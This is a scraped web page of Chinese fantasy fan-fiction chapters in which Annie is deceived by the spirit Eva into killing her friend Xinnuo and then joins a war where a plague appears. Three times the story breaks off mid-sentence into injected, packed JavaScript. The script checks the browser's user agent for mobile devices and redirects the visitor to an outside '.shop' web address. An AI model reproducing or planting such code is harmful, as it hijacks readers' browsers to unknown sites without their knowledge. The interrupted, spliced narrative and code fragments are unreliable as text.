“你有没有觉得,比起格鲁特尼,以特更像暴食?” 格鲁特尼在舞台上从容不迫,和自己的交流也文质彬彬淡然自若,相比之下,以特就如同一个只会吃的莽夫。 真要说起来,当然是以特更像暴食。 但是,如果真是这样,那暴食就有两个? “你可能想岔了,我的意思是,格鲁特尼有可能是把自己的一部分分出来,形成了以特而已。” “什么?” 安妮被这个猜想吓到了。 “很惊讶么?我以为这是源大陆已经发现的东西。一个人意味着一个完整的个体,但是精神是可以无中生有的,因此一个身体里住着的就不一定只有一个人。把多余的意识分出来形成单独的个体,理论上是可以实践的。” 伊娃说完,安妮忽然想到了脑子里那个沉睡的自己。 曾经的她一直不明白,幽冥寒焰要找的人怎么可能存在,又怎么可能是自己。但现在她好像知道一点了:自己是一个人,但又不是一个人。 自己有好战、永不放弃的一面,但也有冷漠、渴望平静的一面。 因为自己的身体里,其实一直是两个人。 “那……分出来的意识如果找不到身体,会怎么办?” 倘若她会抢夺自己身体的控制权,那杀掉她,也无妨…… “要看这个意识的思想了,如果像格鲁特尼那样,只是把自己暴食的一面分出来,那这个意识体压根就不会有侵占身体取而代之的想法,因为他没这个脑子。” 但她一定有! 不……虽然有,但她似乎并不想要身体的控制权。 准确来说,她什么都不想要。 冷漠、麻木,这就是安妮曾经感知到的东西。就算自己把身体交给她,她下一秒的想法也是沉睡或者……自杀。 自己不是已经经历过了吗? 倘若不够避世,她也不会得到幽冥寒焰的“寒”认可。 自己多虑了。 安妮想清楚一切,松了口气。 伊娃并不知道自己的话对安妮产生了多大的影响,她只是如实告知,目的单纯就是和安妮聊天而已。 发现安妮陷入沉思后,她也没有打扰,干脆利落地玩自己的去了。 最后一次抽牌,准确来说应该是拿牌。 因为只有一张了。 但是安妮拿到鬼牌以后,并没有感知到神器的气息。她看了眼印着紫色维迦的鬼牌,和伊娃对视一眼,明白过来。 闭眼,进入牌内,果然是幻境。 但是和之前的幻境不一样,这次的幻境周围是黑色的。一片漆黑,让安妮想到了那个沉睡在自己识海中的人。 她慢慢往前走去,很快看到了不一样的东西。 黑暗中唯一的一束光从地下射出,映照着悬浮在半空中的帽子。 紫色的魔法师帽,上面的黑色暗纹涌动,在光线中静静地躺着。最特别的是帽子中间,三角锯齿状往两边裂开,中间一颗眼珠转动。 看见它的第一眼,安妮心中便升起一种渴望。 戴上它。 安妮也遵从了心中的想法,走到帽子前。 这帽子悬浮的高度正好能让自己取下,轻松转过去,戴在头上。 下一刻,头顶的物体存在感消失,眼前忽然出现一只黑色的眼睛。和那七只差不多的模样,但瞳孔是纯黑的,只一眼,凶相毕露。 安妮本能般跃起,往后连退数步。 面前的地上,无数黑色尖刺深深扎进地面。即使周围都是黑色的,安妮也看得清清楚楚。 这是一种很奇怪的感觉:面前的黑色眼睛是立体的,就跟懒惰的本体一样,虽然和幻境一样都是白色,但白得突出。 总之,他的形体和攻击都无处遁形。 “杀了它。” 伊娃的声音在耳边响起,就好像她凑到自己边上在说悄悄话。但安妮无暇顾及这声音究竟来自何处,因为面前的眼睛继续攻击了。 “唰唰!” 利刃般的尖刺冲来,安妮立刻展开幽冥扇,尽数抵挡。接着,她双手挥舞,射出两道扇风。 “咻……” 黑色眼睛并不闪躲,身体快速变得半透明,扇风直接穿了过去,射进黑暗。 “近战。” 伊娃的声音再次响起,安妮几乎是同时飞跃到黑色眼睛面前,劈出幽冥扇。 黑色眼睛如同影像般闪了两下,直接消失在原地。再次出现,它已经飞到安妮的斜上方,眼中带着轻蔑。 安妮迅速下蹲弹起,幽冥扇合紧成刀,跟随旋转呈圆锥,势如破竹。 这次黑色眼睛侧身闪躲了,但还是被罡风伤到,动作一顿。 那双没有感情的瞳仁动了动,紧接着,似乎陷入了宕机状态。 安妮没有给他反应的时间,借助神装快速位移到他的背后,甩出幽冥扇。黑色眼睛竖起护罩,将幽冥扇挡住,紧接着转身。 见他似乎想逃走,安妮立刻操纵凤凰翎羽射出,万箭齐发间形成牢笼,将它禁锢。 将后背留给敌人,可不是明智之举。 幽冥扇被再次甩出,扇骨撞到黑色眼睛的脊背,生生将它打倒在地! 安妮窜到地上,接住幽冥扇,合上,对准眼球狠狠一刺! “噗!” 幽冥扇入肉的声音残忍清晰,黑色眼睛忽然爆发出极大的力量,弹开安妮。 摸着脸上温热的鲜血,安妮缓慢而沉重地呼吸着。正兀自高兴,忽然感觉有些不对。 邪牌之眼不都是幻象吗?哪来的实体,又哪来的血? 安妮怀揣着疑惑,缓缓走向黑色眼睛的尸体。 其实,那个眼睛也变了,如果说之前可以用全黑形容,那现在的她就和黑暗毫无关系。 这时安妮才发现,周围的环境也已经变了。不是黑暗领域那无尽的黑暗,而是一片峡谷。头顶忽然传来冰冰凉凉的触感,一滴水在头顶融化。 抬头,点点湿意绽开——头顶的天空下起了小雨。 雨?怎么会有雨? 最关键的是,随着雨丝慢慢落下,面前的尸体也流淌出鲜血。 血…… 安妮茫然地抹了把脸,手上一片鲜红。 浓重的血腥味传来。 她眨眨眼,前进。 “簌簌……” “簌簌……” 是自己行走间,草叶摩擦的声音。 这段路那么短,却那么长。 她终于看清了。 残破的头盔、白银的铠甲、金黄的头发,就和那个总是带着笑容的少女一样。大长腿、白皮肤,还有一把一起躺在旁边的巨剑——断了。 那双白色翅膀就和她身上的光芒一样暗淡,在泥泞的雨水里,像只落汤鸡…… “辛诺……” 安妮的声音轻得散在风中,然而面前的人还是回答了。 一声极轻极轻的“嗯”,打碎了安妮所有的幻想。 她冲到辛诺面前,才看见少女的胸口处有一个巨大的血窟窿。红色的血水涌出来,安妮伸手,怎么堵都堵不住。 “辛诺……” 她尝试薅下裙子上的凤凰翎羽,想帮忙垫上伤口。茫然地环顾四周,却找不到任何有用的草药。 安妮想起身,但冰冷的手忽然被按住。 “没用的。” 别试了。 “有用的,会有用的……” 安妮眼眶湿润了,颤抖着跪在地上。雨水无情地打在脸上,模糊的视线里,却没有任何东西。 幽冥扇毁天灭地,连灵魂都可以切割得渣都不剩。 安妮却从未有一刻,如此痛恨它的战斗力。 谁来帮帮她…… 救救她…… 幽冥扇张大,被风托起,挡在两人头顶。但是周围的雨水还是那么红,带着血液渗进地里。 血窟窿好像在漏风,汩汩的鲜血流到地上,被雨水冲刷。 刺鼻的铁锈味。 那个窟窿,安妮是那么眼熟。 “是我,对么……” 沉默在蔓延,狠狠揪住安妮的心脏,让她哽咽得再也发不出一点声音。刚才的一招一式还历历在目,安妮默默在心中细数着自己的罪孽。 “对不起……对不起……” “别难过。” 少女的手紧紧握紧自己的手,声音还是那么温柔。 “其实,我早就预料到这天了。咳咳……”辛诺望着天空,苦涩一笑,“光明的孩子,和黑暗的孩子,怎么能做朋友呢?” 她们的结局,注定会是悲剧。 但起码自己死后,她还能追求幸福。 “安妮,我能感觉到,你和那些黑暗的人不一样,你还心怀光明,就像你的名字一样……答应我,无论世界多么黑暗,我们都要心存希望,好吗?” “辛诺……你会好起来的……你是半神……” “半神也是人。” 而人,是会死的。 “不,对不起……对不起!辛诺……对不起!” 安妮趴在辛诺的怀里,彻底放声大哭。刺鼻的血腥味充斥在脑子里,提醒着她生命的逝去。 一双手忽然缓缓环抱住自己,玉牌触碰到肌肤,坚硬、冰冷。 “这个星月牌,是我送给你,最后的祝福。愿你在没有我的日子,安康。” 辛诺的声音轻得只能在耳边呢喃,轻得像梦境。 安妮也多希望,这是一场梦。 身下的人渐渐变得虚幻。 “不……不要!不要消失!” 消失了就什么也没有了! 消失了就与世界再无关联了! 消失了,就是彻底死亡了。 “对不起,不能陪着你了。” “辛诺……我不要你死……对不起!对不起!” “辛诺!” 安妮嘶吼着,但再无人能够回应。 “辛诺!” 泪水混杂着雨水砸落在地。 点点星光飘散在空中,安妮趴在冰冷的地面上,那颗心好像也被浸泡在雨水里,冷得彻骨。 她睁开眼、张开手,只接到雨滴。 冷,刺骨的冷。 身下空空荡荡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296889|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安妮攥紧拳,好像将辛诺也握在了手里。紧接着,她躬身,将手缓缓放到胸口。 努力蜷缩着、蜷缩着,哭出声来。 “辛诺!呜呜呜呜……辛诺……” …… 查瑞尔和缪斯落地的时候,看到的就是蜷缩成虾子的安妮。 在辛诺原本存在的地方,哭得泣不成声。 雨水打湿了她的短发、她的衣服,可她毫无所觉。狂风暴雨里,少女的哭泣是那么清晰。 原本应该察觉到的人,即使到了十步之外,也没有任何反应。 查瑞尔很想挥出手里的法杖。 她这辈子,从来都是救死扶伤,甚至为了安抚辛诺,晚上偷偷和她一起,把摧毁的树木花草恢复生命。 这根法杖上面,从来没有鲜血。 但她真的很想很想,就这样杀了面前的凶手。 可是不行。 辛诺把星月牌给了她。 在发现安妮招招致命的时候,查瑞尔和缪斯便被辛诺的力量拦在空中,这也注定了辛诺打不过安妮。 可是她没有将星月牌也丢回来,而是送给了安妮。 她说“礼物”的时候,看着的,其实是天空之上的自己。 何为星月牌? 月之皎洁、月之神圣,是夜晚最明亮的眼睛,也是星辰最忠心的簇拥。 查瑞尔还记得,曾经把星月牌交给辛诺时说的话。 拿着它,就能在晚上看清楚地面的一丝一毫,除此之外,还可以成为她的主人。 辛诺笑着问,能不能叫她去给自己买菜。 扑哧……傻辛诺。 菜是买不了了,这条命,给你吧。 我曾经发誓,一定要和你永远在一起。你死了,我就豁出性命为你报仇。 既然报仇无望,那就只好来陪你了。 “对不起,缪斯,我要食言了。” 曾经说好了三个人永不分离,如今,却注定要阴阳两隔。 “不,你不会。” 缪斯的声音仍旧空灵神圣,说出的瞬间,原本哭成泪人的安妮缓缓抬头。 查瑞尔在她看见的前一秒,仓皇离开,只留下缪斯独自面对安妮。 绿色的飘逸长发,淡漠清澈的眼神,遗世独立的姿态……安妮看着面前的少女,勾唇一笑:“你是来给辛诺报仇的吗?” “不。” 缪斯看着面前的少女,眼神缓缓变得复杂。 她看向安妮身后,那里仿佛飞着一个张开巨大翅膀的天使。 辛诺说过的守护,终于成真了。 “辛诺死了,查瑞尔死了,我也要走了。” 这是她说过最长的话。 安妮拿着星星月牌的手一顿。 “你要去哪?” 等我报了仇,就找你,给辛诺报仇。 但缪斯只是看着远方,眼神逐渐变得淡漠空洞。 “高山之巅,羽化成风。” 她说完,身影闪烁,逐渐消失在原地。 这一次,再次只剩下安妮。 格雷斯这次等了很久,都没有等到辛诺回来。 查瑞尔和缪斯也不见了,这让她心中不安。 看见星辰逐渐闪烁,变得繁复灿烂的时候,格雷斯彻底慌了。 星星从来不会张扬地释放自己的光芒,除非,它们的孩子回来了…… 格雷斯走出星月城,眼前,群星闪耀。 就像一场盛大的烟花,竭力释放着耀眼的光辉,即使转瞬就会变得冰冷静谧,也依旧不遗余力。 这么美的场景,却下起了雨。 星星哭了。 格雷斯曾经听说过,每一个天使死的时候,天空都会下起暴雨,但是没有闪电,也没有雷声,因为天使舍不得任何生灵被他们的死亡惊扰。 可是怎么会不被惊扰呢?那是天使啊…… 连星星都心疼的、最纯净的孩子。 格雷斯伸手,没入星空中,触碰到的是刺骨的寒凉。 她那双永远淡漠冰冷的眼神朝着地面看去——尽管这是晚上。 然后,她听到了撕心裂肺的哭声。 “格雷斯。” 星辰中,查瑞尔的声音那么清澈明净,可是格雷斯多么希望自己听错了。 因为那里只有星星,没有任何人存在。 “求求你,闭上眼。” “她杀了辛诺。” “但她们是朋友。” 即使被杀死,辛诺依旧不愿意伤害的朋友。 “闭眼吧,求你。” 最后的声音随风散去,偌大的星月城,终于又只剩自己。 格雷斯看着地面小小的一团。 她记得辛诺刚出生时也小小的一团,却散发着世间最耀眼的辉光。她纯净、自由、美好,可是什么时候,被这无形的枷锁束缚住了。 是安妮杀了她吗? 不,是天道。 连纯善的天使都必须成为它手下的屠刀。 就像自己这双在白日永远明澈的双眼,看的不过是天道想知道的一切。 如今,也该结束了。 格雷斯,闭眼吧。 闭眼吗? 不。 她要的,是永远的闭眼。 再也不要成为任何人的工具,不要成为伤害朋友的帮凶,不要成为……你的傀儡。 格雷斯仰望天空,最后铭记下那黑暗的太阳。 然后,双手抬起。 …… 璀璨的星空中,多了两颗不会发光,却永远闪耀的星星。 13. 13 安妮不知道自己哭了多久。 当她再次睁眼,雨已经停了。雨水冲刷掉了辛诺最后的痕迹,但安妮仿佛还能看到身前的人影。 她抬头,多希望一切都是错觉,可是手里的月牌冰冷却不容忽视。 “别看了,她已经死了。” 耳边忽然传来伊娃的声音,准确来说,是识海边缘。 安妮瞪大了双眼,脑袋宕机了很久,才重新拼凑起一切。 上一秒她还在收服鬼牌,并且根据伊娃的提示对抗黑暗之眼,但是下一秒,那只黑暗的眼睛就变成了辛诺…… “你骗我?” 根本不存在什么黑色眼睛,七原罪除了邪牌,也没有任何考验。 “我怎么能是骗你呢?这确实是最后的考验啊。” “你所谓的考验就是让我杀了辛诺?杀了我最好的朋友?!” 安妮支起身,发出野兽般的嘶吼。但是她环顾四周,却没有看见伊娃,甚至连黑暗领域的入口都没了。 “别看了,我在你识海里。还记得那顶帽子吗?灭世者之帽,也是……我真正的寄存之处。” “什么?” 这么说,伊娃现在,在自己识海之中? “别想把我逼出来,因为我只是存在于你的识海边缘,识海之大,你找到我都是奇迹。不过你也别担心,我不可能伤害你,一旦真正进入你的识海,我就可能会被赶出来或者直接被绞杀。” “滚!给我滚!滚出去!” 如果说之前的安妮还勉强接受伊娃的寄生,那么之前的一切,已经彻底让两人决裂。 她不可能放任任何杀害辛诺的凶手存在,包括她自己! 安妮使劲拍打着脑子,揪着头发,发泄内心的愤怒。她就像一头迷途的野兽,肆意冲撞着,遍体鳞伤也不停歇。 但伊娃只是安安静静待在她的识海中,甚至有闲心解释。 “其实我也不想杀辛诺的,但星月城中,只有她能毫无防备地被你叫下来。本来我还担心她的战斗力太强,没想到她将大部分力量用于拦截其他人,根本没怎么反抗。” “够了!别说了!求你……别说了……” 安妮跪倒在地,只觉得呼吸都困难起来。 “哦,抱歉亲爱的,我只是在给你分析而已。你也知道,天上一直有双讨厌的眼睛对吧?我没办法戳瞎她,当然只能另辟蹊径了。还好,她们还和千年前一样,感情密切,一个死了,其他的也不会苟活。” 如今的星月城,应该只剩瞎眼的格雷斯孤独地守着了吧。 想到那个画面,伊娃不禁笑出声。 她果然是坏到骨子里了,对于曾经同事的悲惨遭遇,竟然觉得开心。 “我总有一天会把你赶出去的。” 安妮咬牙。 可惜基兰爷爷已经走了,不然他一定会有办法。但是就算没有基兰,安妮相信自己迟早也能找到对策。 “先别急着对付我了,约德尔城正在遭遇攻击,你不打算去看看吗?” “什么?” “莫斯卡来信,说约德尔城已经和皇城开战了,埃克斯带人投奔了提莫和崔丝塔娜,但是皇城那边势不可挡,战情焦灼。” “怎么可能?” 之前埃克斯和胡蛮一起对抗皇城,靠着魔兽幻影的帮助,可以说是压着皇城的人打,现在怎么可能反而被压制? 更遑论还有约德尔人的帮助。 “听说皇城的人得到了圣城的帮助——战争之器被放出来了。” “战争之器?” “沃尔,是我曾经的手下。不过可惜了,由于当时我不想被七原罪彻底黑化,所以没有重用他。要是当时我采用他的方法对付弗斯,谁输谁赢还不一定呢。” “沃尔这么厉害?” “他就是为战争而生的,他的手段无人能敌。就这么说吧,如果我现在的状况换成是他,他一定会直接制造幻象让你杀上星月城。查瑞尔、格雷斯和缪斯都不善战斗,辛诺肯定会为了保护她们分心。只要将她们也变成你攻击的目标,最后星月城就会无一生还。到时候再让你苏醒,精神崩溃后,夺舍你轻而易举。” “什么?” 安妮彻底傻眼。 “也许还有更残忍的手段,只有我想不到没有他做不到。说起来,弗斯还真是大胆,竟然敢将他放去皇城。” “弗斯?” “哦,也就是现在的加丁,这个消息你不知道吗?我以为莫斯卡已经告诉你了。” “不可能!加丁怎么可能是弗斯?” 弗斯明明是拯救苍生的大英雄! 是和伊娃战斗到底的勇者! 是维护世界和平的圣人! 他绝不可能是加丁那个虚伪、阴险、狡诈的小人! “你骗我!你又骗我……我不会再上当了!” “随你信不信,时间会证明一切。现在北方的海盗势力南下,被蛮族挡住,但主要的战争不解决,它们是不会停歇的。——你已经休息够了吧,孩子。” 安妮握拳,沉默。 原来在自己不知道的时候,战争已经全面爆发。 即使安妮和伊娃势不两立,但约德尔城是她的第二个家,安妮绝对不能坐视不理。她收服鬼牌,本身也是为了保护约德尔城。 天空转明,安妮整理行装,再次出发。 神装水火不侵,刀枪不入,也一尘不染,因此安妮只是洗把脸,整理下头发,就恢复了平时稳重的样子。 只是看着池水里倒映的身影,她还是禁不住红了眼。 曾经也是在河底,她看到了世间最纯净的眼睛。 赶路的时间很漫长,在这期间,她也不断回想,试图找到剥离伊娃的办法。 但是没有。 反而,想起了别的…… 比如同样是在这里,莫斯卡的欲言又止。 呵,她又被骗了。 安妮有时候觉得自己很强大,强大到收服了那么多神器,去过那么多地方,出生入死无往不利;可安妮有时候又觉得自己很弱小,弱小到杀不死任何一个自己憎恨的人。 天道是,加丁是,伊娃是,莫斯卡……也是。 她掌握着数不尽的财富,无条件帮助约德尔城,就注定了安妮杀不了她。 当然,这其中自然少不了伊娃的授意,甚至自始至终莫斯卡的主人都只有伊娃,但这都不重要。 回想起曾经天真的自己,安妮咬牙切齿。 “你想好到达约德尔城以后,怎么面对战争之器了吗?” 一路走来,伊娃一直在试图挑起话题,不厌其烦。 安妮很想屏蔽,但是没有办法。 在交流方面,伊娃掌握绝对的主导权,她想说话就说话,不想说话就可以不回答。要不是伊娃确实伤害不了自己,安妮都要怀疑自己的身体早就是她的了。 尽管如此,安妮仍旧很烦躁。 “你能不能闭嘴?” 她并不觉得,如今和伊娃还能像之前那样,毫无芥蒂地谈天说地。 “我说的别的话你可以不听,但是有一点必须讨论清楚,那就是莫斯卡。” “她是你最忠诚的走狗,仅此而已。” 安妮很少用这种极其带有侮辱性意味的词语形容一个人,即使是面对加丁,也只觉得他手段高明,值得敬重。 其实在不久前,她也觉得莫斯卡并非十恶不赦,甚至心里还有菲缇老师的身影。 但是,几年的光阴、日夜的陪伴,换来的只是接二连三的欺骗。 最后,甚至搭上了挚友的生命…… 莫斯卡,这是一个安妮痛恨到极致的名字。 “我知道你现在肯定恨不得把我们所有人千刀万剐,但事实上,莫斯卡可以成为,也必须成为你如今最得力的助手——事实如此。” “不可能!” “别这么绝对,不管她的主人还是她的朋友,现在都是你。她虽然骗了你,但在我们共同的目标上绝对忠诚,不是吗?” 而她们现在的目标,都是掰倒加丁。 安妮很不想承认,但正如伊娃所说,事实如此。 “我想,如果你和加丁约战,再让莫斯卡带着鬼牌偷袭圣城,一定能够打他们个措手不及,对么?” “这也是沃尔能想到的吧?” “但你觉得沃尔会给弗斯说吗?别忘了,弗斯囚禁了沃尔整整一千年。” “是加丁!” “好好好,是加丁。但总之,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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经过细致的描述,安妮也再次体会到了,沃尔究竟有多恐怖。 据说他的成名战其实非常简单粗暴,就是一场简单的声东击西。 在埃克斯得到消息,以为东边的城池被闪击的时候,他立刻带领大队人马前往。但是全歼了敌人,还没有洋洋得意几秒,埃克斯就收到消息。 西边的城池陷落了。 沃尔献祭一整只强悍的军队,换来了一座城池。 没有人知道这支军队的士兵有多视死如归,总之,沃尔得到了一场全军覆没的胜利。 事实上,这只军队再稀有,也不过是几千个人,对比起皇城为了抵挡埃克斯投入的兵力,不值一提。只是他们的死亡方式太过惨烈,才让人铭记。 大概也正因如此,莫格莱斯没有换下沃尔,反而让他掌了权。 在沃尔又在几次对战中连番取得胜利后,莫格莱斯彻底放心,让这个怀才不遇的军师得到了应有的权力。 接着一发不可收拾。 前线捷报频传,但是光看一眼作战过程,就让人胆寒。 举着尸体当盾牌,在夜间骗箭……把俘虏带到前线折磨,让凄惨的嘶吼扰乱敌方军心……因为粮草和草药不够,干脆不准投降…… 如果说前面还只是让人心中不适,后面就完全颠覆普通人的认知了。 安妮也终于明白伊娃的意思。 虐,这就是“虐”的含义。 当它成为明晃晃的武器,全世界都要为此胆寒。 莫格莱斯是打赢了,但也臭名昭著,几乎所有人都知道这个在任皇子,他比自己的家族所有人加起来都出名。 但事实上,莫格莱斯已经公开发表过声明,表示自己如今也没有完全大权在握,否则早就阻止沃尔了。 可惜为时已晚。 沃尔是不会停手的。 现在唯一的办法就是唤醒沃尔手下的那些士兵,安妮相信他们心中还是有底线的,只是被短暂的黑暗蒙蔽了双眼。 想办法…… 14. 14 现在的格局基本已经确定,崔丝塔娜和提莫还驻守在约德尔城,莫斯卡则和埃克斯与胡蛮一起,在约德尔城之外阻击莫格莱斯。 阿木木还留在约德尔城,带着提伯斯一起。 安妮通过酒馆了解了初步情况,最后还是决定和崔丝塔娜见一面。 被小兵引到崔丝塔娜面前时,她正在巡视城防。约德尔主城虽然基本不太可能遇到危险,但现在对战的人变成了沃尔,一切都成为了可能。 崔丝塔娜眼中,褪去了少女的单纯稚嫩,她眺望远方的身影,终于和当初麦田的引路人分开。 “姐姐,你回来了?事情还顺利吗?” “……一切顺利。” 虽然有很多话想说,但到了嘴边,却成了四个无关紧要的字。安妮似乎明白了当初在阿狸姐姐那里学到的话:报喜不报忧。 “你呢?一切顺利吗?” “你也看到了,只希望约德尔城能渡过难关吧。” 崔丝塔娜叹了口气,语气中带着少年人特有的担忧。 “你……后悔吗?” “后悔?” 安妮停顿了一下,眼前好像出现了一个场景。 基兰牵着蒂尼的手,一起消失在光的尽头,那么祥和。 “你当初,没想过和基兰爷爷一起离开吗?” “一起离开?”崔丝塔娜皱眉,诚实地摇头,“我知道我是属于这个世界的,又怎么会想离开?” 她回答得干脆,让安妮愣住了。 是啊,都是这个世界的,为什么她就想着离开呢? 明明这里还有自己想保护的人,自己想重游的故地,自己放不下的事…… “木木还在等着你呢,这次姐姐你还打算去哪?” 崔丝塔娜察觉到安妮的失落,知道她肯定瞒着自己什么,于是干脆说出了阿木木的行踪,算是给她点开心的消息。 果然,安妮微微一笑。 “我去找他吧。” “记得代我向他问好。” “什么?” “我已经快半个月没回去了……” “好。” 安妮看着面前的少女,心疼又欣慰。 回到曾经的住处,安妮看着面前的木门,一时间竟然不敢打开。 她就像出了一趟远门,十年几十年才回来,害怕门里面,早已物是人非。 正在自己犹豫不决的时候,门忽然打开了。 面前的青衣少年眼中闪过一丝欣喜,但很快被平静的语气压下:“回来了。” “嗯,回来了。” 他是那么轻描淡写。 就好像自己白天出去,晚上就回来了一样。 安妮回忆着一路上经历的往事,终于泪流满面,沉默着扑进少年怀里。 你知道吗? 我又被骗了。 我亲手,杀了最信任我的挚友。 我还,得到了七原罪的认可,把黑暗带了回来。 …… 一桩桩一件件,安妮没有说,只是泣不成声,又竭力呼吸着。 她好像失去了所有力气,连呜咽的声音都是那么弱小。 头顶传来轻柔的抚摸,就好像当初自己轻抚提伯斯,安慰他冬天的河里没有那么多鱼。 安妮平复情绪,擦干眼泪。她往后退几步,任由提伯斯扑进自己的怀里。 “这次打算去哪?” 阿木木递给安妮一根湿帕子,把她拉到桌边坐下,又倒了一杯水。 动作优雅。 他还是那么风光霁月、淡然宁静。 安妮眨眨眼,脑子里,伊娃的声音再次响起。 “真羡慕你,始终有这么一个人,在你身后等你。” 安妮虽然没有回答,但已经习惯了在心中默默回应伊娃。她也没办法,谁叫每次伊娃都能戳中她的心思。 而这次,安妮沉默着认同了。 她真的很幸运,莫斯卡之前这么说的时候,她还不理解也不相信。 但过去越久,这个认知越清晰。 “我想去战场,把莫斯卡带到圣城,让她用鬼牌偷袭加丁。” 自己的目标是天道,但天道的第一帮手就是加丁,以及“源”所形成的“启元录”。 想要毁灭天道,最好的办法就是杀死加丁,夺取“源”的力量,再用神器之力与天对抗。 但加丁不是那么容易杀死的,先将光明学院掌控在自己手上,一定没错。 “必须是莫斯卡么?” 这是阿木木第一次对自己的行为提出质疑,但不是第一次排斥莫斯卡。安妮苦笑一声,后悔自己没有早点发现莫斯卡的真面目。 可惜再后悔都已经晚了。 “放心吧,她对我,已经骗无可骗了。” 她的最大谎言,已经让我得到了痛不欲生的结局。 阿木木没有再问,看着麻木的安妮,仿佛知道了一切。 两人这次结伴前往了战场,只是交战的地方已经不在遥远的皇城边缘,而是扩大的约德尔城郊外。 由此可见,埃克斯和胡蛮,乃至整个约德尔城都已经处于被动——即使有莫斯卡的金钱帮助。 看见莫斯卡的时候,她正悠闲地坐在茶桌边。就和当初面对自己,先把自己叫去北边的蛮族,然后再叫去黑暗领域一样,始终轻松淡然。 她多好骗啊。 “你来了?我的……小主人。”还有主人。 安妮没有回应,她们彼此的身份已经不重要了。 阿木木也没有多问,为什么莫斯卡的称呼会变化。 两人一前一后坐到莫斯卡对面,就像当初接待她的时候。 “埃克斯和胡蛮比较出力,我只负责出钱就好了,所以没什么事做。你们可别说我偷懒,被揪出来怪尴尬的。” 莫斯卡还是和往常一样调侃,但安妮并不理会。 “你会用鬼牌吧?跟我去一趟圣城。” “鬼牌?当然会了。去圣城吗?没问题。不过如果需要长途跋涉的话,还希望你能让我先找个工具什么的……” 莫斯卡说着,拍拍手,示意下面的人上茶。 “先喝点茶,休息休息,我知道赶过来肯定也不容易……” 安妮并不想和莫斯卡虚与委蛇,她正要起身离开,莫斯卡忽然端起茶杯,眼神巨变。 是之前从未有过的严肃。 “这水哪来的?” 她问的是端盘上来的小兵。 “额,就是河水烧的……” 小兵还没说完,营帐外忽然传来杂乱的声音。士兵的哀嚎、金属落地的清脆响声……一阵兵荒马乱。 安妮和莫斯卡对视一眼,往营帐外走去。 此时的帐篷外,一堆堆士兵聚集着,一部分士兵脸色苍白,倒在地上咳嗽呕吐,另一部分则手足无措,关切询问或是帮忙。 就在其中一个士兵打开随身的水袋,想给同伴喝点水的时候,莫斯卡忽然出声。 “等等!” 她迅速打落了士兵手上的袋子,清冽的水流到地上,没有任何特别之处。 莫斯卡却高呼一声:“水里有毒!” 没有人会质疑莫斯卡的话,士兵们立马取下腰间的水袋,要把水都倒掉。 “等等!不能倒!” “什么?” 士兵们傻眼了。 有毒的水不能喝,不倒了留着干什么? “不能倒在这里,瘟疫会蔓延……” “温意?什么东西?” 此起彼伏的交谈声响起,全都充满疑惑。只有安妮脑子里,伊娃活跃地解释了一切。 瘟疫,一种大型且具有传染力的流行病,在广大区域传染人或其他物种。 这种疾病靠着病毒尸体才能传播,但源大陆的人死后化为光点消散世间,根本没有尸体。 至于动物,基本也不会自动生成这种病毒,就被植物分解了。 而瘟疫这个词,因为疫病根本不存在,所以知道的人很少。这两个字就跟“虐”一样,是圣语里面才有的东西。 如今,瘟疫现世,只有一种可能,那就是瘟疫之源成功了。 战争之器一共有两个帮手,痛苦之拥和瘟疫之源,他之前也提出过重用瘟疫之源,帮助他研究出瘟疫病毒的想法,但伊娃拒绝了。 还是因为太残忍。 瘟疫之源曾经具体解释过瘟疫,说这可以看做一种会传播的诅咒,只是身负诅咒的人死得难受一点,并且这个诅咒传播比较简单罢了。但是最后,伊娃还是拒绝了重用瘟疫之源。 没想到如今,瘟疫还是被发明出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296891|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 伊娃能够给安妮解释,但是莫斯卡没法给这么多士兵解释清楚。 他们远不知道,这个世界比他们想象的可怕。 最后,莫斯卡只能靠着权力让这些人强行听命于她,妥善处理带有“诅咒”的水。安妮虽然很不支持这种强权,但不得不说有时候它真的很管用。 但是水已经被污染了,没有河流供应,这么多人不可能都吃灵果,也不可能让约德尔城的人每天远程送水。 即使是莫斯卡,也没有这么多的人力物力。 等营帐稍微恢复和平,埃克斯和胡蛮已经赶回来。 安妮没有参与三人的讨论,她想去看看,这种瘟疫之源嘴里的“诅咒”到底是什么样子。 她走在营帐中,越远离中心越惨不忍睹。 能在莫斯卡营帐外看守的都是身强体健的强中强者,但往远了走,这些小兵就不一样了。虽然他们依然强壮,但还是抵不过瘟疫的折磨。 咳嗽声呕吐声此起彼伏,难闻的气味和死亡的气息在空中弥漫,还有很多血,就像当初辛诺死掉的时候一样。 真实得让人无法呼吸。 安妮一直觉得,鲜血是这个世界上最可怕的东西,它红得令人心悸,代表着伤残和死亡,但是在这里,鲜血只是最基础的。 “看呐,这只是真实世界的冰山一角。你知道吗?当瘟疫之源说要用病毒在人身上做实验,制作出各种疫病的时候,我难受得整晚睡不着。” “什么?” 那现在,是不是代表瘟疫之源已经成功了? 